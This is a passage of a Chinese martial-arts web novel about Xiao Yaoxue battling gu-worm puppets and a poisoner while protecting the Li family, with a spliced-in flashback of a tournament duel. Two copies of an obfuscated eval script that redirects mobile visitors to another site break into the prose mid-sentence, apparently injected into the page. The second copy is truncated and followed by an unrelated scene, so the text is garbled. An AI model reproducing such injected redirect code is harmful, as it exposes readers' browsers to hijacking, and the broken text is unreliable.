就在这时萧妖雪对李无忧低声说到：“无忧，快去拿酒来，越多越好。”言罢就将李无忧从刚刚僵硬的蛊人中间推了出去。李无忧也不敢犹豫，刚刚在房间内看到过，这个蛊虫恐怕只有火焰可以将它们完全消灭。这鹿坪丘的庄子，之前李无忧同李治来过几次，也知道酒窖的位置，进了后院的门他便头也不回赶往酒窖。 兴许是纵蛊之人太过于自信，萧妖雪撑不到李无忧回来就救场，又或是没有额外的精力调动蛊人去阻止李无忧，李无忧这来回一路都没有遇到阻碍。当他用板车推着几坛酒回来时，看到中庭之中就看到那群蛊人以极其古怪的姿势围向萧妖雪。李无忧此时来不及多想推着板车直冲院中那群人。当他车冲进蛊人堆的时候，萧妖雪向着推车腾身而起，在空中一个回身，稳稳落在板车上。只见萧妖雪微微凝神，几个酒坛就像是受了什么牵引似的震颤起来，随即飞向空中，在空中停顿一会后，砸向蛊人堆的四周，流彩剑击中离萧妖雪所站地方最近的一坛酒，穿坛而过，萧妖雪用火折子在剑尾处一引，霎时间，流彩剑上燃起火焰，夜晚看去活似一条火蛇腾飞于院中。萧妖雪轻轻推开李无忧，脚尖在板车轻点，拿着燃着火的流彩剑略过身上沾满就酒水的蛊人堆，就看着熊熊火焰瞬时扬起一人多高，萧妖雪掠至旁边房檐之上，流彩剑化为十七枚碎片，只要有蛊人成功离开火堆，就会有一枚碎片精准地穿过蛊人的身体。萧妖雪将气息压缩在碎片之中，当碎片穿过蛊人身体后，气息突然爆裂开来，蛊人的身体承受不住气息的力量也随之爆开，体内的蛊虫少了血肉的保护也被流彩碎片上的火焰燃烧殆尽。 半晌过后，火势渐小，空气中弥漫着一股烧焦虫子的味道，地上的尸体七横八竖的躺着。萧妖雪确保了所有蛊虫都被清理干净了，才从房檐上下来，来到李无忧旁边。现在的李无忧已经还没从刚刚的激战中回过神，但整个人显然是被吓到了，不停的发抖。萧妖雪将李无忧揽入怀中，今天这事别说对一个还未及冠的孩子而言很难接受，若是换了个普通百姓估计都要被吓得疯傻。好在李无忧并没有落下什么后遗症，回过神来后，抱着萧妖雪就大哭起来，哭了一阵过后，似乎也是意识到自己的失态，便自己止眼泪。看着萧妖雪说：“雪姐姐，你没事吧，你好厉害。父亲和哥哥怎么还没来，他们……还会来吗？” 萧妖雪轻拍着他的后背安慰道：“无忧我没事，你今天的表现很好，父亲和哥哥应该马上就到了，你不必担心，你若有哪里不舒服，一定要及时和我说，可明白了？” 李无忧用力地点了点头，又问道：“雪姐姐你呢，有没有受伤。”萧妖雪可以清晰感受，此时眼前的男孩已经怕的不行，但是竟然还能说出这样的话，她不禁有些感动，内心一些不可说的感情流过，脑中却很快又想起萧云雁的话“此去京都只谈生死，不问爱恨。” 说话间便听到了不远处有马车的声音传来。萧妖雪急忙带着李无忧出去，便看到，李安国亲自赶着马车，车帘撩起，李治从里面下来，身上穿的还是朝服，萧妖雪饭前便听说圣上安排了晚宴，百官都要求赴宴，看李治现在这行头恐怕是担心回府换衣服误了关城门的时间，这晚宴已结束就叫着李安国赶了过来。 李治看着萧妖雪带着李无忧站在面前松了一口气。三步并作两步的上前，拉住二人又仔仔细细地检查了一遍，确定二人身上都没有伤才算放心。 晚宴刚结束就李安国讲了今日发生的事，李治也是一阵不安，只觉得一团烟花在脑袋里炸开。十年前意外生还的人突然传来不正常的消息，李安国回去查看，却就这么刚好被徐战的人拉住，距离京都两个时辰车程的宅子就只留萧妖许和李无忧。这一切碰一起只让李治觉得后背发麻，他做了这么多年宰相与他明争暗斗的人不少，平日里也少不了给他下绊子的人，但是唯独这一次让他有了害怕的感觉，他害怕这个刚刚的团圆的家又破碎了，他害怕祠堂中刚刚换下牌位会成真。 来不及亲自回府查看，派了个仆从去府邸调人，李治便和李安国就直接赶了过来。他们还没进宅子就看到这边火光滔天，二人此时心已经提到嗓子眼，一个是前不久才寻回的千金，另一个是家里最受宠的小公子，李府已经不想再一次体验失去亲人的感觉了。接近宅院时火势已弱，周围不见一个仆从，李治和李安国都感到一丝心寒，虽然在认回萧妖雪那天看到过她的身手，但是这又是无人又是烈火的，结果如何真是不好说。现在看到两人这样站在自己面前，真的觉得如释重负，甚至觉得这天上月光都柔和了几分。 李治吩咐人去叫的家丁也相继赶到的时候，院中的火焰已经熄灭，只有厢房和中庭有些受损其他地方倒是没有什么破损。 李治看着眼前的萧妖雪说：“妖雪，你是不是早就料到今天事？” 此时李治的话在萧妖雪耳中，仿佛是一句责备，难道是责怪她没有及时带李无忧离开，将他的宝贝儿子置身危险之中。萧妖雪在潇湘阁当楼主那几年见过了太多这样的高官贵族，他们家的女儿就是筹码、利益，只有他们的儿子才是这个家就算千金散尽、满门散尽也要保全的。萧妖雪难免有些失落，虽说她眼中与李治只是一场交易，但是她曾经也毕竟真的是李府的千金。 脸上本来挂起的微笑终于有些挂不住了，但是这是生意师傅说过不谈爱恨。“兄长回去的时候，我有些猜想，但是我不能保证那时折返是安全的，所以……” 还未等萧妖雪把话说完，就被一个温暖的怀抱给包裹了，李治抱着她，声音从耳后传来：“妖雪，我希望你记住你是我李治的女儿，不是李府的客卿也不是护卫。你的安全同样是李府最重要的事情。” 此话说出后萧妖雪只觉得整个人都被击中了一般，呆了半晌才退出那个温暖的怀抱，点了点头。 此时一个护卫的进入，打破这温馨的气氛：“老爷，宅子里面的尸体身份都核对了，整个鹿坪丘的家丁无一生还，身体都呈现不同程度的腐烂。” 李治听后眉头紧皱，挥了挥手示意那人先下去。转而对着萧妖雪说道：“今天晚上你俩辛苦了，去我的马车上先休息吧，接下来的事我和安国会亲自处理的。”萧妖雪看着此时门外的李无忧坐在台阶上脖子已经支撑不住他那颗脑袋了，这般大孩子正是贪睡的年纪，被这么拎起来一折腾，现在总算安定下，显然是撑不住了。再看李治和李安国，两人显然也不想她参与之后的善后工作，萧妖雪也未推脱，带着李无忧就向着马车走去。看李无忧在马车中睡下后萧妖雪却并未休息，而是由趁着车外无人溜了出来。李安国带人在府内善后，李治则坐在正堂监督工作。无人在意外墙外的情况，萧妖雪掩着墙根转了一圈，走到院子后方时，看见有一个馄饨铺子，要知道现在已经是三更半夜了，这馄饨铺子不仅汤锅里还冒着热气，尽然还有一个食客刚刚吃完，这一切都透露着一种诡异。只见那名食客白衣白发，皮肤也是不正常的白色，眼眸是暗红色，这大半夜的看到也着实瘆人。而那老板身材肥胖，却目光呆滞的站在灶台前面。 那名食客吃完后，拿出手绢擦了擦嘴，起身就看到站在不远处的萧妖雪，开口道：“萧姑娘，是我低估你了，这样的刺杀你都没有死，只是可惜了那些小宝贝尸蛊。不过也好，我最不喜欢那样无趣的对手，你知道这毒虫虽说依靠腐肉为生，但是新鲜的猎物才是人间极品。” “只敢躲在人后只哇乱叫的老鼠，现在竟然还不敢报上名来？”眼见对方出言挑衅，萧妖雪也毫不示弱，直接全身气势大盛，形成一股威压，向着那人便扑去。 “哈哈哈哈哈哈哈哈哈哈，在下千足王窦毒，我相信我们还会再见面的。”一阵令人毛骨悚然的笑声后，窦毒不等萧妖雪回应便转身就走。萧妖雪也不多言，身上气势一涨再涨，流彩剑瞬间聚成一柄长剑，冲着窦毒就飞身而去。窦毒也不畏惧，狭长的眸子里多了一丝笑意，从袖中掏出一把折扇，折扇打开一阵粉尘冲着萧妖雪飞来，若再仔细看这粉尘中还有一些细小的黑色钢针，萧妖雪身形一转避过那一阵烟雾，从侧面近身，同时也挡住了那可以离开巷口，窦毒也看出了她的意图，不退反进，折扇在与流彩剑接触的起那一秒扇骨突然延长，突出几根短小的钢剑，钢剑显然也是淬了毒，散发着淡淡的黑光，恐怕是想趁着对手不注意，来个不入流的下毒之术，不过萧妖雪的流彩剑可钢可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556996|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔，在与折扇接触的瞬间就凭着气息的牵引，将对方推出了一点距离，而不至于被短刃所伤。 接下来就是气息的硬碰硬，流彩剑与折扇相碰从交点处迸发出强烈的气息，两人几乎同时被弹飞，只是窦毒的嘴角微微有血迹浮现，可见今晚先是拿着蛊人与萧妖雪大战一场，刚刚又是这样气息对抗，显然这位千足王已经有些吃不消了。不过萧妖雪也并未好很多，体内也是气息翻涌。要知道窦毒可是武榜第九的高手，虽然其中也是参杂了他那卑鄙的下毒之术，就算单论无力排进武榜前三十也不是什么难事。窦毒站定后并未在进攻，而是向着刚刚被挡住的巷口掠去。流彩再次离体化做十七枚碎片从各个方向向着窦毒攻去，就在这时原本一旁安静的馄饨摊老板，突然冲出来挡在窦毒身前，以一种不似正常人方式快速移动，足足当下了十六枚流彩剑，而那最后一枚被窦毒回身挡下，不过还是将他的手臂划伤。但是战场上的机遇本就是稍纵即逝，老板的出现给他了足够离开的时间，闪身从巷口离开了，只是萧妖雪也并未再追。窦毒离开后老板却突然开口，毫无情绪波动的说出了一句话：“京都中根本就没有你可以信任的人，别以为李府现在对你这般好，你要是再仔细查查你当年遇刺那件事，我相信你一定会对李治有些新的认识。”说完老板的身体以肉眼可见的速度干瘪，原本肥胖的一个人，突然就只剩下一张皮囊，都能听到体内流彩碎片着地的声音。 “京都中根本没有我可以信任的人……当年的真相……”萧妖雪又淡淡重复了一遍窦毒的话，面上有一些沉思，转而这一丝沉思也突然消散，自言自语道：“或许我根本就不需要呢。”就在这时院内李安国等人也感受这边的气息波动，便带人赶了出来，看到是萧妖雪站着，心中又有几分紧张。 这边气息碰撞将那馄饨摊打得稀巴烂，自然也闹出不小的动静。萧妖雪回头就看到李安国带着一堆人全副武装地就过来了。 李安国看到这现场的混乱程度丝毫不比府内好，他们赶过来并未耗费太多时间，可见对手恐怕比之前府内那群家丁强悍不少。萧妖雪似乎是看出了李安国的担心，给了他一个安心的微笑。 李安国确认萧妖雪没有受伤后，问道：“对方是幕后之人？” “不错，他自称千足王，实力上确实不弱。” “妖雪，不是叫你同无忧去休息了吗，你怎么又来这，这里的事我们来处理。”李安国自然明白，若是刚刚是他们这队人马遇上了那人恐怕很难全身而退，但是对方的目标就是萧妖雪，就算牺牲他们所有人，也不能让她出事。 萧妖雪看着李安国脸色不好，便略带撒娇道：“诶呀，刚刚无忧睡下后，我肚子就有点饿，之前听说说这边有个馄饨摊子关店比较晚，便想着过来碰碰运气。谁也没料到，这幕后主使打了败战不着急走，还有心思在这吃馄饨。” 李安国又怎么看不出来这妹妹的心思呢，恐怕是想着他们只检查了院内无人顾及这院外，才想来亲自看看。虽然经过今夜一事，李安国已经隐隐感觉到，自己这妹妹的武功确实不简单，若加上她那些心思，若自己是对手，恐怕很难保证全身而退。不过至少目前看来，她对李家还有什么别样的心思，这是最好的结果。 正当李安国还沉浸在自己的思路中时，一个侍卫来报：“李少爷，院内的那些尸体有些怪异，您过去看看吧。” 李安国的思绪被拉回，看见萧妖雪正兴致勃勃地盯着自己，无奈一笑道：“那走吧，一起看看去。” 李安国小记： 整个京都城都知道李家的大少爷长得俊俏，所谓男身女貌，但是又常年习武，所以秒貌俊美又不是阳刚之气，早早就招的京都中不少名门贵女的欣赏。如今到了婚配的年纪，上门来说亲的媒婆更是一个接一个没有断过。只是拿到李安国面前的画像，无一例外都被他拒绝了。 王氏作为李府的主事人，对于此事难免有些担心。之前李安国刚刚开始拒绝不少说亲，那还可以理解为他作为李家嫡长子心气傲，眼界高。但如今这几年过去，他还是无动于衷，难免落人口实。可奈何王氏越着急，李安国他就越不急，仿佛这事与他无关一般。为了这事王氏也没少和李治商量，但是几次之后李治对于这事也懒得过问。 所幸王氏有次得了机会，从李安国院子中伺候的侍女那里听说，李安国的房中挂了一幅女子的画像，好似是他自己画的，只是画中女子没有画眼睛。众人也曾猜测是否是仙去的张氏，可是从衣着上也并不符合，再加之有时深夜他会拿出来独自赏玩。所以众人一番比对之后也无法确认那人的身份。王氏也借着话题旁敲侧击的问过李安国，但是对方却只说是随手画着玩的东西，世上根本就没有这个人。 12. 尸蛊祸乱3 徐战回府的马车上一片寂静，但若是此时有人掀起车帘定然会吓一大跳。徐战坐在主座，他的身边还坐着司空颜，而平日里风光无限的五皇子周明启此时竟然如同一个下人一般跪在车内，他的衣袍有些褶皱，抬脸时就算只借着微弱的月光也可以看清他脸上又红又肿的巴掌印。但是作为一个皇子，就算受了这般羞辱，他现在也不敢说什么，只能在这静静地匍匐在地，等待徐战发话。 “说说吧，你这次都做错了些什么？”徐战就这样直勾勾地盯着跪在地上的周明启。 周明启听到问话，自然而然的就抬起了头，却不料下一秒，徐战竟然一脚踩在他头上，又硬生生将他抬起的头踩了回去，说道：“做了错事就该有态度，我没让你抬头，你就没有资格抬头，就这样说吧。”说话时踩在周明启头上的那只脚并没有收回去，而是就拿他当了一个脚凳一般踩着。 周明启咬紧牙关，尽量平复自己情绪，虽然内心已如烈火燃烧，但是表面还是恭敬地说道：“我不该没经师傅同意私自命人去刺杀。” “这不是关键！”徐战怒道，同时脚上的力道又加重了几分，直接将周明启的脸一脚踩到了地上，力气之大，以至于整个马车都向下沉了一下。 但是周明启很快就感受到，他头上的重压消失了，同时他听到徐战低沉地说道：“关键是你用了自己的人，而她还没有死。” 徐战身上散发出来的气势已经压得周明启说不出话，更别说起身，只能保持着跪趴的姿势继续听着徐战说：“今晚窦毒会出手，但是按照线报的消息多半也会失手，之后若是李府深究，就把所有事都推给毒谷，让他们好好斗上一番。最近你就不要有什么动静了，冯源死前留下的信息至关重要，恐怕这位千金之前不只是潇湘阁的一个楼主那么简单，你以后是要做大事的人，现在可千万不可让人留了把柄。”说完徐战随手敲了敲马车箱，示意车夫停车。司空颜也很有眼力的下了车掀起帘子，夜风吹了进来，总算将车厢中的怒火吹散了不少。此事周明启才发现之前的重压已经消失，留下的只有被自己汗水浸湿的衣服。 “好了，五殿下到你府上了，下去吧。”周明启这才狼狈起身，下车果然看到是到了自己的府邸。身旁的司空颜贴心的送过一顶斗笠后便上车跟随徐战离去。 一切都不出徐战所料，窦毒的尸蛊失败了。鹿坪丘的院中横七竖八的躺着那些家丁的尸体，只是不同于萧妖雪刚刚将他们击退之时的模样，现在萧妖雪同李安国进到院中看到的却是满地的皮囊。而刚刚检查院落的侍卫，就这样亲眼看着这些“尸体”慢慢扁塌凹陷。此时萧妖雪也明白了，为何刚刚放火烧的时候，这些蛊人并没有散发出很浓烈尸体烧焦的气味。现在看来，这些蛊人体内的脂肪恐怕是已经被尸蛊蛀空了，剩下了一具毫无营养的皮囊，尸蛊在最后的逃离的时候，为了脱离尸体能继续活下来，会疯狂啃食是体内残余的□□，留下一些排泄物和气体，暂时维持着尸体的原状。 看着这满院的人皮不由得令人头皮发麻，这些家丁多半是原来就在鹿坪丘干活的，看来这个宅子，早就被千足王下手了。 此时李治正在正堂内安排下人去妥善处理这些家丁的后事，既不能泄露今晚所发生的事，又要给他们家属一个合理的解释。最后鹿坪丘的尸蛊惑乱，就被改为了山贼泛滥，劫了宅院，院众护主，全部牺牲了。 此时天边已经有微微亮光，萧妖雪在李安国的监督下在马车中睡去。今夜经过了几场斗争之后，又熬了大半夜，萧妖雪睡得很沉。 隐约中听到车外有人声“父亲，你确定这样留她在家里没问题吗？万一日后真的……” “她已经承受了太多，就算时间不多了，我也希望我们可以有一段一起生活的日子。” “可是我们毕竟是……” “没有可是，安国珍惜眼前人。” 外面的人说话断断续续，萧妖雪实在不能集中精力侧耳细听，就在这样隐约的对话中再次沉沉的睡去。当再次睁眼时，天已经大亮。深秋的天空总是蓝得一朵云都没有，萧妖雪心想：要是这世间也和这天空一样透亮就好的，可是春雨、夏雷、秋风、冬雪，无论哪一个都是乌云笼罩，就算是天光大好，这地上也总是会有影子的存在，难道她注定是这影子？ 抬眼看去，马车内已经没有了李无忧的身影，踏出车厢环顾四周也不见昨夜李府侍卫的身影，更别说李治和李安国。难道说李家这么快就觉得自己是他们在这个风雨瓢泼的朝堂中的累赘了吗？若是这样，恐怕李家很快就会传出千金遇害的消息了吧。 正当萧妖雪打算收拾一下，再回京城的时候，她突然听到不远处有人说笑的声音，抬眼望去王氏带着李无忧还有一众家仆在马车背后的空地上有说有笑。几个家仆已经架好了锅炉，做了一些简单的吃食，一旁还有仕女切好清茶。不过看来李治和李安国恐怕是因为昨夜的事情已经回京上奏了，这次事情都是千足王主导，这毒谷属于江湖门派，在东梁朝堂与江湖一般互不干涉，而这次千足王虽然行事凶狠，却并没有伤及李家，恐怕圣上也只会拨点金银稳住李家吧，毕竟非要将这罪名安在朝堂上谁的身上也是证据不足，还不如等以后拿了证据来个秋后算帐。 李无忧是第一个看到萧妖雪从马车里出来的，便高声叫道：“雪姐姐，你可终于醒了，我都快饿死了。”萧妖雪看到李无忧略带愁容的面庞，刚刚的担忧也一扫而空，现在回想起来，恐怕是昨夜受了那窦毒的影响，才会有刚刚这想法。萧妖雪对着李无忧一挥手，示意他自己听到了。便转身走了过去，此时锅里炖的烂肉已经散发出一股诱人的香味，再加上旁边煮茶的清香，这肉显得香气逼人，却又一点都不油腻。萧妖雪坐定后，王氏亲自盛了一碗汤递给萧妖雪，道：“现在已经是午饭时间，看你昨晚太累了，就没叫你，你先喝碗汤暖暖肚子，我们一会再启程回京了。”萧妖雪谢过王氏之后，将碗中的汤缓缓饮尽。这虽说是汤，不过肉糜已经炖的稀烂，溶在汤里，这样一碗喝下确实有了饱腹感。 如此景色，萧妖雪难免有一种如入梦中之境的感觉，一切都不真实，一切都引人贪恋。没有厮杀，不用忧心那些恩怨情仇，更不用心系天下大事。睁眼便是亲人相伴，闭眼也是美梦常在，若是这样的日子再长一些该多好。 一行人回到京都后，已经是傍晚时分，天边的晚霞像是昨夜鹿坪丘的火焰一般。要烧尽这片天空。此刻的萧妖雪觉得似乎这李家的深门大院中也不似外界谣传的那么冷漠无情，只是这京都的水太深了，大家每一步走得都太小心了。 李府之中，家丁已经布置好晚饭，几人简单收拾了一下便上桌，这一桌鸡鸭鱼肉看起来色泽丰富，香气扑鼻，做饭的是李府的老厨子王德发，他在李府干了二十多年，从李治刚刚有了府邸，他就开始为他烧饭，口味着实不错，这些年对李府勤勤恳恳。眼见是到了告老还乡的年纪了，王德发已经带出来几个不错的徒弟，就算他离开李府，也不会让李府后厨乱套。前不久，他联系了家里人，给他们在城郊置办了一栋不错的宅院，正打算过几天就就和家人一起般进去，便开始颐养天年的生活。 今天他特意亲自下厨，做了这一桌饭菜，做完之后恐怕年纪到了，竟然疲惫感剧增，便吩咐几个学徒把之后的事情处理了，自己就先回房休息。可谁曾想刚进房间就觉得这脖子上被什么小虫咬了一口，又疼又痒，但是用手去摸却什么都摸不到，王德发没当回事，便侧躺去了床上，不一会就睡去了。睡梦中只觉得自己全身如火烧般疼痛，想睁眼却怎么都睁不开，火烧之后又如同堕入了冰窖，身上的血液仿似都停止流动了一般。王德发上了年纪后很少做梦，他想起以前小时候爷爷走的时候，娘就和自己说爷爷只是做梦去了，他在梦中不愿醒来，不过现在的王德发更希望这个梦可以立刻醒来。因为这次他做了一很长很长的梦，他梦到自己起床了，李府的晚餐已经结束了，厨娘正在后厨收拾，自己走进了后厨做了一碗鱼汤，似乎自己还在鱼汤里面加了什么，然后就把鱼汤端给了小姐，小姐没喝，反倒说了很多奇怪的话，自己好像也说了一些话，但她好像不理解一样。后面老爷也来了，他还是如同自己刚认识他那样，只是这脸上怎么就有皱纹了。不对，老爷今天怎么看起来不太高兴，难道是今晚的饭菜不和胃口，他怎么一句话不说……这梦怎么越做越困，人在梦中也会困吗，但真的好困，要不就就地睡一会吧，希望老爷不会怪罪，只要醒了把自己珍藏的那瓶老酒给老爷就好了，他一定不会生气的……之后王德发直觉困倦感就这样慢慢地、慢慢地越聚越多，最后将自己淹没。 而现实却与他的梦相去甚远，萧妖雪用完晚饭后，王德发就端着一碗鱼汤来找她，萧妖雪看着老厨子眼神呆滞，行动迟缓，便生了疑虑，再细闻这碗鱼汤，虽然鱼汤鲜香，但其中却隐隐透着一丝酸苦味，这味道在《百毒经》中有所记载，正是南疆出了名的毒药“散魂散”据说服下这毒药吗，连灵魂都不能进入这六道轮回。萧妖雪看出了这鱼汤和王德发的异状，开始询问他一些问题，希望换回他的理智，但王德发却好似还不会说话的婴儿一般，只能支支吾吾发出一些声响。 就在这时李治从门外走进来，看到二人的对峙。而就在这时王德发好像突然学会了说话一样，对着李治说：“李大人，你要为我做做主呀，我听说小姐昨晚受了惊吓，今天特意煮了这鱼汤，可是小姐她却偏偏说这鱼汤有毒，还说我下毒害她。大人我都这般年纪，马上就可以过上那儿女承欢膝下的生活了，我何必如此？”一番说得声泪俱下，好不感人。但是李治却也并未有明显的表态只是看着萧妖雪，萧妖雪淡淡地摇了摇头。在王德发还在期待老爷会让自己离开的时候，一股冰冷的剑气划破了他的喉咙，鲜血并没有想想象中那般彭涌而出，而是粘粘糊糊的滴落下来。眼见王德发已经是再无生机，而从他的伤口爬出了一只尸蛊，这只尸蛊比之前在鹿坪丘看到的那些小上了好多，而王德发的尸体也并未像其他蛊人那般干瘪，看来应该是蛊虫刚刚入体不久。 王德发已经是李府的老人了，这些年尽心尽力，李治对他也非常关照。虽说之前有鹿坪丘的事情，大家心中的弦还没有松下来，但是李治却怎么也没想到动手的会是王德发。萧妖雪这样贸然出手，一条人命就在眼前这样悄然而逝，如果没有一个正当的理由，李治一时之间还是有些无法接受。 似是看出了父亲的不解，萧妖雪看向李治解释道：“王老，刚刚突然给我拿了一碗鱼汤，我闻着这鱼汤佐料加的着实有点多，又细闻了一下，估计里面是加了散魂散，而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云阁辩武大会最后一个环节，台下的最先夺得绣球的观众，可以指名道姓的选一人进行对打，而被选中的人只要在场，就不易拒绝，同时一场之后还可以的得到今日讲武大师的指点，而在过往也不乏就此拜入云阁之人。这也是为何今日那些人这么着急上山的原因，只要坐得距离那绣球近一些，希望就大一些。 终于辩武大会进行到了这一步，反倒这时武清也“安静”下来，丝毫没有登台的冲动，只是他的嘴巴又开始忙碌“萧姑娘，萧姑娘，你倒是说句话呀。这一天的辩武大会你就这样冷冷地坐着，你到底是来干嘛的？难道你是为了这最后打擂？那你想找……” 话未说完，抢擂的锣声就敲响了。武清只觉得身旁风吹过，可是他身后就是墙，这又哪里来的风呢？再看向身旁时萧云雁已经不知所踪，紧接着又是一声锣响，擂台上拿着绣球的人，正是刚刚还坐在他身旁的萧云雁。 主持的云阁学子上前问道：“不知姑娘尊姓大名，这次要选何人比试？” “在下潇湘阁萧云雁。”此话刚出台下顿时如同炸了锅一般。 “什么！潇湘阁！那个青楼！” “这种人怎么配上台！” “这可是云阁，一个青楼女子，她想干嘛？” “真是浪费时间。” 吵吵嚷嚷的声音直接堵得台上之人难以开口，好在讲武的两位大师并非无理之人，一声“肃静！”，带着气息的威压很快席卷全场，台下的声音也终于小了下来。 “不知萧姑娘打算与何人比试？” 声浪终于褪去，萧云雁也得了机会重新开口：“我要与路川比试。” 台下再次炸锅，这个路川可是云阁最近出名的大人物，年仅三十就当了云阁的长老，前些日子去南方剿匪那更是声名大噪，也难怪众人对他的评价会这样高。 听到这话就连大师都有一些震惊，这个女子的信息刚刚已经有人给他呈过来，实在是少得可怜，他也无法预测这会一场什么样比试。 这时擂台的另一边传来一个极其戏谑的声音“小娘子，这可是云阁，这可是云阁一年一度的辩武大会，可不是你那红帐香塌，你可想好了。” “没错我想好了，我就是要和你比，而且我要下注。怎么路川你不敢？”萧云雁看着那站在擂台边吊儿郎当背着重尺的男子说道。 被唤作路川的男子倒是也不墨迹，一个翻身就上了台，依然是一脸戏谑的说道：“怎么会不敢，你说说吧你要怎么比？” “我赢了，我要你为铃音戴孝。”这话说出来就连路川也惊住了，铃音他自然有印象，前段时间去剿匪，路过兰川的时候想着去哪里的潇湘阁快活了一把。看到一个歌姬他甚是喜欢，本想着就这良辰美景行一把快活之事，没想到那女子竟然说自己只是歌姬不做这事。路川一怒之下便在歌姬演出之后在潇湘阁的后巷将人霸王硬上弓。事后他就听人说那女子竟然投河了，路川心中本也有些愧疚，但是想到她本就是潇湘阁那样地方的人，这么做纯属她自己想不开。 故而此时对面这人竟然让自己为一个青楼女子戴孝，这简直是他的奇耻大辱，但是他也从未想过自己会输，只是这赌注对方已经下了，自己又怎能吃亏呢：“好呀，那如果我赢了，我就要你和那铃音一样伺候我，直到我满意为止。” 双方赌注已下，一声锣响，云阁辩武大会最后一场比试就此开始。 13. 秋菊夜宴 第二日这李府就传出了一件大事情，李治亲自下令，李府内所有人扎手放血，只要血液有异状的全都要服食一味药，下人不知道这是什么药，服下去之后只觉得体内有东西在挣扎，一段时间后那样的挣扎感消失了，他们都只觉很累，感觉血液要沸腾了一样，好在李治给了他们一笔钱，让他们有足够时间去休息。再之后李府中就再也没有发生这样异变的怪事了。 李府风波就此落下帷幕，但是于这一役中双方都没有占到便宜。甚至于李府而言完全被打了一个措手不及，若不是萧妖雪武艺高强，这一劫差点就度不过去了。而事到如今他们虽然已经能够猜到这幕后真凶与刚刚班师回朝的徐战少不了关系，但是手中却没有任何证据指向他们。 作为京都最繁华的青楼——潇湘阁，就算是早上这路也是人来人往，众所周知，在潇湘阁出钱不仅能买到春宵一刻，还能买到最是无价的消息，而这京都潇湘阁更是翘楚。此时这是这天下汇通的潇湘阁外站了一个身着黑色纱缎的女子，她头戴着黑色的帷帽，从头到脚都是黑色的，只有腰上围着一圈流光溢彩的腰带，此人正是萧妖雪。这是萧妖雪第一次来京都的潇湘阁，之前若有需要查阅的信息，她都是飞鸽传书回谷内，让文妆帮忙，但如今日后她将长居京都，京都潇湘阁自然是她来消息最快的地方。 进到楼内大厅到楼顶之贯通，中间没有什么遮挡，从楼顶垂下数段红色纱幔，将楼内景色遮掩的影影绰绰，看不真实。大厅四周都是用红木为框架搭建的房间，足足有五层楼，现在的二楼和三楼，几乎无人走动，但是四楼和五楼却来往人员不绝。这些人里有身着华服的世家，也有粗布麻衣的百姓，有男有女，有老有少。此时有一位饮迎宾的姑娘看到萧妖雪进来，便迎了上来，萧妖雪亮出来一枚木牌，上面的图案并不是自己之前那块三眼朱雀的令牌，这只朱雀只有一眼，是潇湘阁中令史的象征。所谓令史就是管理了几个城池中潇湘阁的人，他们平日主要负责各城池潇湘阁的安全，每个区域都会两到三个令史，他们武功高强，神出鬼没，往往不以真实容貌见人，以独眼朱雀令为信号，护的一方平安。 姑娘看到独眼朱雀令也是一惊，回想起来自己在京都这潇湘阁也有段时间了，这边的令史也见过个两三个，却也没听说过还有这样一位喜爱一身黑的令史。正当她疑惑之际，萧妖雪开口道：“我是他地的令史，最近来京城办点事，想查些东西，麻烦姑娘安排下。” 往往令史来到楼中都是有楼主亲自接待，小姑娘也不敢自己做决定，便将萧妖雪引到五楼角落的一个房间，上了茶水，便去找了楼主。 不一会一个身着桃红色长裙的女子走了进来，女子看起来已是三十有余，但是风韵犹存，杏眼柳眉，口点朱砂，乍一看只觉得是风月场中的老人，但是只要是习武之人都能感觉到，她体内的气息流转可不是一般习武之人能达到的。 女子见了萧妖雪，行了个礼，看了看桌上的令史令到：“奴家沈轻离见过令史令。”萧妖雪微微一点头，潇湘阁中有个规矩，拜只拜令牌，如今萧妖雪身份并未明了，所以沈轻离拜了令史令萧妖雪也不恼火。 她对着沈轻离一引，示意她坐下说话“沈楼主，我是他地的令史，最近在京都办点事，有些事情想劳烦您查一查。” 沈轻离微微一笑：“令史大人尽管说，我定知无不言。” 萧妖雪为沈轻离，添上了一杯茶水，取下了帷帽露出真容道：“我想知道近来这朝中有哪位大人与这毒谷走的比较近？” 沈轻离看到萧妖雪的容貌的也是一惊，这李府千金认祖归宗一事，京都内怕已是人尽皆知，而要知道这李府千金的容貌，对于潇湘阁来说也是易如反掌。而现在沈轻离眼前这位赫然就是李府千金，但是现在她拿出了令史令，又以真面目示己，已经是拿出了十足的诚意，自己又有什么推脱的理由呢。 “这件事我们最近确实收到了一些消息，我们的人暗中查了毒谷最近来往的客人，有了意外的发现。据说这毒谷最近有一位新的客人——兵马司的正职：司空颜。这司空颜是镇远大将军徐战的得意门生，司空颜也是得了大将军的独家秘传，虽是样貌文弱，但是肚子里报复是有眼睛的都看得到。要我说他本身确实倒也有几分实力，据说这官衔也不全是大将军送的，京中有几次叛乱他亲自提刀摘了几颗脑袋。圣上也看中他的胆识，就封了个兵马司的副职，之后再得大将军一提携就升了正职。就在你来京都后不久，他就去了趟毒谷，你说这是巧不巧。” 司空颜？兄长之前突然被拉去宴会也是这人的所为，现在看来这还真不是无心之举。现在这个消息看来是把之前的猜想都落实了。只不过没想到对方这一上来就是兵马司的正职。显然这敌人想把自己扼杀在摇篮里的想法很是坚定，只是这次他们失了先手，也不知道何时还会动手。 看着萧妖雪沉默不语，沈轻离喝了一口茶，继续开口说道：“此外我听的说，不久前司空颜府上，来了一位客人：武榜第一路行的徒弟严忌，据说是游历到了他家门口恰好口渴进去讨了一杯水，你说这事巧不巧？” 